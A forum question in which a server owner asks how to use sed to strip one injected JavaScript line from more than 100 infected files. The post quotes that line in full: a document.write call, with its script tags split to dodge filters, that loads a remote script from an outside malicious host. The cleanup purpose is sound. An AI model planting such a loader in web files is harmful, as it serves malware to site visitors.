title: How To Remove A Malicious Javascript Code From Multiple Files
body: <p>Recently my linux server got infected with malware and as a result, I have 100+ files infected with a single line of Javascript code:</p>
  
  <pre><code>document.write('&lt;sc'+'ript type="text/javascript" src="http://alienradar.ru/Kilobyte.js"&gt;&lt;/scri'+'pt&gt;');
  </code></pre>
  
  <p>I would be too tiring to remove it manually, so I dig into google (not knowing much about linux did not help there) and found out that I can use sed for this purpose.</p>
  
  <p>Unfortunately, I couldn't escape the line so I could use </p>
  
  <pre><code>sed -i.bak '/line of text/d' *
  </code></pre>
  
  <p>syntax, it's full of single quotes, double quotes and backslashes. </p>
  
  <p>How could I escape the string or is there any other - easier - way of doing this?</p>